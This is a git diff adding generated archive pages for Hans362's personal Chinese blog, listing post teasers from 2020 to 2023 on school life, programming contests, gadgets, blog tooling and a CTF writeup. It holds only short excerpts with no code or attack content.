以上是我最理想的写博客的流程,而今天我终于实现啦!😆
众所周知,静态博客的一大特点就是没有管理后台,因此常规的操作流程一般是写文章-丢进_posts文件夹-手动执行构建-发布。事实上我也一直是这么干的,得益于 Coding 的 CloudStudio,我至少可以不用电脑随时随地执行这套繁琐的操作,觉得这样将就用着也还能接受。但是最近发现 CloudStudio 经常卡半天进不去,再加上 Coding 升级后混乱的用户体验(个人版、企业版、团队版、腾讯云开发者全部杂糅在一起),我还是决定放弃这套糟糕的流程。
所以,不如咱就试试让 Travis CI 替咱做掉这些繁琐的工作吧!
Travis CI + Hexo 实现静态博客自动部署
\ No newline at end of file
diff --git a/archives/2020/page/2/index.html b/archives/2020/page/2/index.html
new file mode 100644
index 00000000..dedb9874
--- /dev/null
+++ b/archives/2020/page/2/index.html
@@ -0,0 +1 @@
+归档:2020 | Hans362 's Blog 加载中...
Hans362 's Blog ThinkPad X201s 固态硬盘升级记 平时我一直拿 ThinkPad X201s 当主力机用,写文档、做 PPT、撸代码都挺顺手,再加上它又是 ThinkPad 的经典设计,标志性的小红点更是加了不少的情怀分
然而毕竟是8年前的老电脑,最近升级到 Win10 1909 1月更新 之后我发现它慢得有点吓人😢
具体来说就是:
开机时 Win10 Logo 下方的圆圈需要转很久 Win10 Logo 消失后会有 10s 的黑屏 输完开机密码不能立即进入桌面 进入桌面后还需要等待任务栏加载 总开机时长在 1min30s 至 2min 开机后首次启动 Office 套件需要 30s 左右的等待 硬盘工作时噪声巨大 偶尔会出现整个屏幕卡死、鼠标键盘全部无效的死机情况,硬盘灯不亮 估摸着大概是原配的机械硬盘已经不太好了,于是决定升级一下固态硬盘✌️
ThinkPad X201s 固态硬盘升级记 一次任意文件上传漏洞的实战经历 这一切都要从一只蝙蝠说起…
最近看到了一个站,是某高中的在线英语人机对话练习平台,目测了一下网站应该是外包的,因为首页上还有客服的 QQ 和定制的联系方式…
像这种看上去粗制滥造 的小网站肯定一挖一堆洞…果然1小时后搞定
声明:本文作者没有利用该漏洞做出任何恶意或违法行为,也未触及任何数据,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
一次任意文件上传漏洞的实战经历 【转载】不能把冬天唱成春的开始 本文据传是成都七中的开课致辞,原文链接(现已被屏蔽):成都七中老师开课致辞:不能把冬天唱成春的开始 由于无法确认原作者,暂且转载,如有不妥或侵权请务必与我联系:i@hans362.cn,感谢。
【转载】不能把冬天唱成春的开始 【项目发布】2019-nCov 中国实时疫情信息聚合 最近我已经成为了真正的死宅,自从1.23开始就没跨出过家门半步,毕竟截止至目前咱区已经确诊5位感染者…
在家里蹲了一个多星期后,我决定用 PHP+MySQL 造个轮子,自动抓取7家网站的 2019-nCov 中国实时疫情数据,并将信息聚合显示
项目地址:https://github.com/hans362/2019-nCov-Epidemic
Demo: https://ncov.hans362.cn/
(其实就是把这些网站的接口都扒了下来(
【项目发布】2019-nCov 中国实时疫情信息聚合 【题解】P1855 榨取kkksc03 某天刷洛谷的时候看到这道题,被标题骗进来了(标题好爽(雾
毋庸置疑这是一道大水题,大概是看在 kkk 的面子上才标了「普及/提高-」难度
那么决定了,第一篇题解就给它吧!(其实只是想练习一下 MathJax 的使用(
【题解】P1855 榨取kkksc03 周记#20 - 终极高一生活感想 在别的学校已经放假一个多星期后,我们高中…
终!于!放!寒!假!啦!
然而千万不能高兴的太早,因为…
充实而快乐的寒假,你值得拥有 😓
那么本文就来写写近况以及我这一个学期的感受~
P.S. 由于本人写作能力堪忧,这篇文章会又臭又长,请见谅(逃
周记#20 - 终极高一生活感想
\ No newline at end of file
diff --git a/archives/2021/02/index.html b/archives/2021/02/index.html
new file mode 100644
index 00000000..9e69f2f3
--- /dev/null
+++ b/archives/2021/02/index.html
@@ -0,0 +1 @@
+归档:2021/2 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2021/03/index.html b/archives/2021/03/index.html
new file mode 100644
index 00000000..92f9d437
--- /dev/null
+++ b/archives/2021/03/index.html
@@ -0,0 +1 @@
+归档:2021/3 | Hans362 's Blog 加载中...
Hans362 's Blog 在 MWeb 中优雅地使用 GitHub + JsDelivr 图床 一直以来我都使用 iPad 作为主要的写作工具,得益于 Working Copy + MWeb 的神仙组合,我可以在 iPad 上非常便捷地完成博客文章的写作、推送,然后交给 GitHub Actions 完成静态博客自动构建(没错,我把慢吞吞的 Travis CI 换掉了)。
MWeb 作为一款非常优秀的 iOS/macOS 端 MarkDown 编辑器,其内置了强大的图片上传功能(也就是俗称的“图床”),可对接许多知名图床平台的 API 以及各大云计算平台的对象存储服务,写文章时可快速插入图片,省去了手动上传的过程。
最近我吃饱了撑的 把博客的图片全部从腾讯云 COS 迁移到了 GitHub,并使用 JsDelivr CDN 进行全球加速,然而从上图中可知 MWeb 并未提供 GitHub 的图床接口,这可咋办呢?经过一番摸索,我找到了这个我自认为还不错的解决方案。
在 MWeb 中优雅地使用 GitHub + JsDelivr 图床
\ No newline at end of file
diff --git a/archives/2021/05/index.html b/archives/2021/05/index.html
new file mode 100644
index 00000000..65ab2ed2
--- /dev/null
+++ b/archives/2021/05/index.html
@@ -0,0 +1 @@
+归档:2021/5 | Hans362 's Blog 加载中...
Hans362 's Blog 2021年上海高中地理/生物等级考大吐槽 今天下午4:30,走出考场那一刻,我和相处两年的地理/生物彻底告别了(泪目
首先先庆祝一下完结撒花🎉以后终于可以比理化人稍微轻松一点点了
然后还是老规矩,在出成绩之前先骂一骂 吐槽一下出题人(雾
(其实这篇文章本来取名叫《我与地理生物的和平分手》,考完生物我就把这个标题改了😂)
2021年上海高中地理/生物等级考大吐槽
\ No newline at end of file
diff --git a/archives/2021/06/index.html b/archives/2021/06/index.html
new file mode 100644
index 00000000..14f82b39
--- /dev/null
+++ b/archives/2021/06/index.html
@@ -0,0 +1 @@
+归档:2021/6 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#22 - 等级考简报 突然发现已经许久没有更新过周记了,上一篇还是在疫情刚平稳返校复学的时候,距离现在都已经一年多了
前段时间终于把地理生物送走了 ,现在少了两门课稍微轻松一点了,趁着端午假期赶紧复活一下这个系列(
这篇周记主要是关于等级考之后这一个月的事,当然还有最重要的,等级考查分
周记#22 - 等级考简报
\ No newline at end of file
diff --git a/archives/2021/07/index.html b/archives/2021/07/index.html
new file mode 100644
index 00000000..bdf5ab70
--- /dev/null
+++ b/archives/2021/07/index.html
@@ -0,0 +1 @@
+归档:2021/7 | Hans362 's Blog 加载中...
Hans362 's Blog 「一块钢板的重生」——7年前的小米4还能干什么 随着家里接入米家生态链的智能家庭设备越来越多,我已经习惯于使唤房间里的小爱音箱帮我完成各种开关操作。就在前几天,我甚至都忘记了房间里的电风扇不是智能的,对着小爱同学张口就来,最后还得自己去开。那么对于这样的非智能家电,是否能够将其接入到智能家居的生态链中呢?答案是肯定的,比如我房间里的这台风扇支持红外遥控,只需要加钱买个米家生态链的红外万能遥控器就解决了。
然而目前市面上一台红外万能遥控器价格在几十块到一百多块不等,贫穷使我我不得不思索另一种替代方案。看到抽屉里的小米4以及机身顶部的红外发射器,我突然有了灵感。这台小米4是我初中的时候用的,上了高中换了手机以后就放在抽屉里没动过了,算下来已经是7年前的老古董了。虽然这样一台手机在今天干啥都有那么点卡顿,而且无论是官方的还是第三方的 ROM 都已经停止支持了,但是当一个万能遥控绰绰有余。因此,这篇文章就来谈谈我是如何让7年前的小米4重获新生的。
「一块钢板的重生」——7年前的小米4还能干什么 周记#23 - 六七月那些事 离上次更新又一个多月了,眼看着高中最后一个暑假(也是第一个完整的暑假)竟然都快要过半了,赶紧来水一篇“周记”(
那么这篇就是关于六月底以及七月的那些事~
周记#23 - 六七月那些事
\ No newline at end of file
diff --git a/archives/2021/09/index.html b/archives/2021/09/index.html
new file mode 100644
index 00000000..b6cdf95c
--- /dev/null
+++ b/archives/2021/09/index.html
@@ -0,0 +1 @@
+归档:2021/9 | Hans362 's Blog 加载中...
Hans362 's Blog 2021 CSP-S 初赛游记 没错,我又回来了。
去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。
因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。
去年初赛游记请移步:2020 CSP-S 初赛游记
2021 CSP-S 初赛游记
\ No newline at end of file
diff --git a/archives/2021/10/index.html b/archives/2021/10/index.html
new file mode 100644
index 00000000..40076b9a
--- /dev/null
+++ b/archives/2021/10/index.html
@@ -0,0 +1 @@
+归档:2021/10 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2021/11/index.html b/archives/2021/11/index.html
new file mode 100644
index 00000000..663aa2a2
--- /dev/null
+++ b/archives/2021/11/index.html
@@ -0,0 +1 @@
+归档:2021/11 | Hans362 's Blog 加载中...
Hans362 's Blog NOIP 2021 游记&退役记 11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。
NOIP 2021 游记&退役记
\ No newline at end of file
diff --git a/archives/2021/12/index.html b/archives/2021/12/index.html
new file mode 100644
index 00000000..e7d7eb92
--- /dev/null
+++ b/archives/2021/12/index.html
@@ -0,0 +1 @@
+归档:2021/12 | Hans362 's Blog 加载中...
Hans362 's Blog 2021年终总结 时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。
这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。
那么,就来回顾一下我的这一年吧。
2021年终总结
\ No newline at end of file
diff --git a/archives/2021/index.html b/archives/2021/index.html
new file mode 100644
index 00000000..defdfe35
--- /dev/null
+++ b/archives/2021/index.html
@@ -0,0 +1 @@
+归档:2021 | Hans362 's Blog 加载中...
Hans362 's Blog 2021年终总结 时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。
这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。
那么,就来回顾一下我的这一年吧。
2021年终总结 NOIP 2021 游记&退役记 11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。
NOIP 2021 游记&退役记 2021 CSP-S 复赛游记 昨天,也就是2021年10月23日,我刚刚考完了本年度的 CSP-S 第二轮。晚上六点多走出考场时,我人已经麻了。欲知发生了甚么事,请继续阅读本文。
P.S. 去年复赛游记请移步:2020 CSP-S 复赛游记
2021 CSP-S 复赛游记 2021 CSP-S 初赛游记 没错,我又回来了。
去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。
因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。
去年初赛游记请移步:2020 CSP-S 初赛游记
2021 CSP-S 初赛游记 「一块钢板的重生」——7年前的小米4还能干什么 随着家里接入米家生态链的智能家庭设备越来越多,我已经习惯于使唤房间里的小爱音箱帮我完成各种开关操作。就在前几天,我甚至都忘记了房间里的电风扇不是智能的,对着小爱同学张口就来,最后还得自己去开。那么对于这样的非智能家电,是否能够将其接入到智能家居的生态链中呢?答案是肯定的,比如我房间里的这台风扇支持红外遥控,只需要加钱买个米家生态链的红外万能遥控器就解决了。
然而目前市面上一台红外万能遥控器价格在几十块到一百多块不等,贫穷使我我不得不思索另一种替代方案。看到抽屉里的小米4以及机身顶部的红外发射器,我突然有了灵感。这台小米4是我初中的时候用的,上了高中换了手机以后就放在抽屉里没动过了,算下来已经是7年前的老古董了。虽然这样一台手机在今天干啥都有那么点卡顿,而且无论是官方的还是第三方的 ROM 都已经停止支持了,但是当一个万能遥控绰绰有余。因此,这篇文章就来谈谈我是如何让7年前的小米4重获新生的。
「一块钢板的重生」——7年前的小米4还能干什么 周记#23 - 六七月那些事 离上次更新又一个多月了,眼看着高中最后一个暑假(也是第一个完整的暑假)竟然都快要过半了,赶紧来水一篇“周记”(
那么这篇就是关于六月底以及七月的那些事~
周记#23 - 六七月那些事 周记#22 - 等级考简报 突然发现已经许久没有更新过周记了,上一篇还是在疫情刚平稳返校复学的时候,距离现在都已经一年多了
前段时间终于把地理生物送走了 ,现在少了两门课稍微轻松一点了,趁着端午假期赶紧复活一下这个系列(
这篇周记主要是关于等级考之后这一个月的事,当然还有最重要的,等级考查分
周记#22 - 等级考简报 2021年上海高中地理/生物等级考大吐槽 今天下午4:30,走出考场那一刻,我和相处两年的地理/生物彻底告别了(泪目
首先先庆祝一下完结撒花🎉以后终于可以比理化人稍微轻松一点点了
然后还是老规矩,在出成绩之前先骂一骂 吐槽一下出题人(雾
(其实这篇文章本来取名叫《我与地理生物的和平分手》,考完生物我就把这个标题改了😂)
2021年上海高中地理/生物等级考大吐槽 在 MWeb 中优雅地使用 GitHub + JsDelivr 图床 一直以来我都使用 iPad 作为主要的写作工具,得益于 Working Copy + MWeb 的神仙组合,我可以在 iPad 上非常便捷地完成博客文章的写作、推送,然后交给 GitHub Actions 完成静态博客自动构建(没错,我把慢吞吞的 Travis CI 换掉了)。
MWeb 作为一款非常优秀的 iOS/macOS 端 MarkDown 编辑器,其内置了强大的图片上传功能(也就是俗称的“图床”),可对接许多知名图床平台的 API 以及各大云计算平台的对象存储服务,写文章时可快速插入图片,省去了手动上传的过程。
最近我吃饱了撑的 把博客的图片全部从腾讯云 COS 迁移到了 GitHub,并使用 JsDelivr CDN 进行全球加速,然而从上图中可知 MWeb 并未提供 GitHub 的图床接口,这可咋办呢?经过一番摸索,我找到了这个我自认为还不错的解决方案。
在 MWeb 中优雅地使用 GitHub + JsDelivr 图床 【项目发布】Bilibili-Bangumi-JS 📺 Render your Bilibili bangumi progress on a static web page
一个基于前端 + Serverless Function 的 Bilibili 追番进度展示页面。
GitHub:https://github.com/hans362/Bilibili-Bangumi-JS
前言(只有这段不是照搬 README.md 的(逃
大概是两年前写过一个名为 追番列表展示 API 的辣鸡 PHP 小程序,写得贼烂,然后功能没写完就烂尾了2333后来忘了在哪里说过要用 Javascript 重构一下,结果也不了了之
然而这次寒假我居然把它肝了出来!于是就有了这个 Bilibili-Bangumi-JS!(虽然依旧写得很烂但是比之前那破玩意儿强大多了)
【项目发布】Bilibili-Bangumi-JS
\ No newline at end of file
diff --git a/archives/2022/01/index.html b/archives/2022/01/index.html
new file mode 100644
index 00000000..cc6ede92
--- /dev/null
+++ b/archives/2022/01/index.html
@@ -0,0 +1 @@
+归档:2022/1 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#24 - 一月、春季高考、寒假 猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。
(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)
周记#24 - 一月、春季高考、寒假
\ No newline at end of file
diff --git a/archives/2022/07/index.html b/archives/2022/07/index.html
new file mode 100644
index 00000000..835e014d
--- /dev/null
+++ b/archives/2022/07/index.html
@@ -0,0 +1 @@
+归档:2022/7 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#25 - 近况报告:高中生活完结🎉 大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。
前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。
所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,所以大概也要讲个半年吧 (bushi)
咳咳,那么就开始吧!
周记#25 - 近况报告:高中生活完结🎉 ThinkBook 14+ 2022 i5 独显版开箱 好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。
好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。
言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。
ThinkBook 14+ 2022 i5 独显版开箱
\ No newline at end of file
diff --git a/archives/2022/08/index.html b/archives/2022/08/index.html
new file mode 100644
index 00000000..72f9418e
--- /dev/null
+++ b/archives/2022/08/index.html
@@ -0,0 +1 @@
+归档:2022/8 | Hans362 's Blog 加载中...
Hans362 's Blog 电子纸初体验 - 文石 BOOX NoteX 开箱 诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂
那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。
电子纸初体验 - 文石 BOOX NoteX 开箱 周记#26 - 高考简报 又半个月过去了,是时候来水一篇文章了()
好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。
周记#26 - 高考简报
\ No newline at end of file
diff --git a/archives/2022/09/index.html b/archives/2022/09/index.html
new file mode 100644
index 00000000..1354e74b
--- /dev/null
+++ b/archives/2022/09/index.html
@@ -0,0 +1 @@
+归档:2022/9 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#28 - “开学第一课” 诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
周记#28 - “开学第一课” 周记#27 - Re: 从零开始的大学生活 好久不见,首先祝各位中秋快乐!
转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!
周记#27 - Re: 从零开始的大学生活
\ No newline at end of file
diff --git a/archives/2022/10/index.html b/archives/2022/10/index.html
new file mode 100644
index 00000000..07721f94
--- /dev/null
+++ b/archives/2022/10/index.html
@@ -0,0 +1 @@
+归档:2022/10 | Hans362 's Blog 加载中...
Hans362 's Blog 对抗校园网 DNS 污染,我有妙招 最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意 不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
对抗校园网 DNS 污染,我有妙招
\ No newline at end of file
diff --git a/archives/2022/12/index.html b/archives/2022/12/index.html
new file mode 100644
index 00000000..72b7f29a
--- /dev/null
+++ b/archives/2022/12/index.html
@@ -0,0 +1 @@
+归档:2022/12 | Hans362 's Blog 加载中...
Hans362 's Blog 2022年终总结 2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
2022年终总结
\ No newline at end of file
diff --git a/archives/2022/index.html b/archives/2022/index.html
new file mode 100644
index 00000000..36bce036
--- /dev/null
+++ b/archives/2022/index.html
@@ -0,0 +1 @@
+归档:2022 | Hans362 's Blog 加载中...
Hans362 's Blog 2022年终总结 2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
2022年终总结 对抗校园网 DNS 污染,我有妙招 最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意 不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
对抗校园网 DNS 污染,我有妙招 周记#28 - “开学第一课” 诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
周记#28 - “开学第一课” 周记#27 - Re: 从零开始的大学生活 好久不见,首先祝各位中秋快乐!
转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!
周记#27 - Re: 从零开始的大学生活 电子纸初体验 - 文石 BOOX NoteX 开箱 诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂
那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。
电子纸初体验 - 文石 BOOX NoteX 开箱 周记#26 - 高考简报 又半个月过去了,是时候来水一篇文章了()
好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。
周记#26 - 高考简报 周记#25 - 近况报告:高中生活完结🎉 大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。
前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。
所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,所以大概也要讲个半年吧 (bushi)
咳咳,那么就开始吧!
周记#25 - 近况报告:高中生活完结🎉 ThinkBook 14+ 2022 i5 独显版开箱 好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。
好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。
言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。
ThinkBook 14+ 2022 i5 独显版开箱 周记#24 - 一月、春季高考、寒假 猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。
(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)
周记#24 - 一月、春季高考、寒假
\ No newline at end of file
diff --git a/archives/2023/03/index.html b/archives/2023/03/index.html
new file mode 100644
index 00000000..45b49f7d
--- /dev/null
+++ b/archives/2023/03/index.html
@@ -0,0 +1 @@
+归档:2023/3 | Hans362 's Blog 加载中...
Hans362 's Blog SJTU-CTF 2023 Writeup 好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
SJTU-CTF 2023 Writeup
\ No newline at end of file
diff --git a/archives/2023/06/index.html b/archives/2023/06/index.html
new file mode 100644
index 00000000..b868b942
--- /dev/null
+++ b/archives/2023/06/index.html
@@ -0,0 +1 @@
+归档:2023/6 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#29 咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
周记#29
\ No newline at end of file
diff --git a/archives/2023/11/index.html b/archives/2023/11/index.html
new file mode 100644
index 00000000..dd580a93
--- /dev/null
+++ b/archives/2023/11/index.html
@@ -0,0 +1 @@
+归档:2023/11 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#30
让我看看…嗯,很好,不出意外的话大概是出意外了 ,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
周记#30
\ No newline at end of file
diff --git a/archives/2023/12/index.html b/archives/2023/12/index.html
new file mode 100644
index 00000000..a2a3e9f2
--- /dev/null
+++ b/archives/2023/12/index.html
@@ -0,0 +1 @@
+归档:2023/12 | Hans362 's Blog 加载中...
Hans362 's Blog 2023年终总结 草草草怎么一年就过去了,又到了痛苦的期末周 一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习 复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成 的一年罢()
2023年终总结 阿里云金融级实人认证接入踩坑记 最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证 产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档 尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
阿里云金融级实人认证接入踩坑记
\ No newline at end of file
diff --git a/archives/2023/index.html b/archives/2023/index.html
new file mode 100644
index 00000000..7a39558c
--- /dev/null
+++ b/archives/2023/index.html
@@ -0,0 +1 @@
+归档:2023 | Hans362 's Blog 加载中...
Hans362 's Blog 2023年终总结 草草草怎么一年就过去了,又到了痛苦的期末周 一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习 复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成 的一年罢()
2023年终总结 阿里云金融级实人认证接入踩坑记 最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证 产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档 尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
阿里云金融级实人认证接入踩坑记 周记#30
让我看看…嗯,很好,不出意外的话大概是出意外了 ,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
周记#30 周记#29 咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
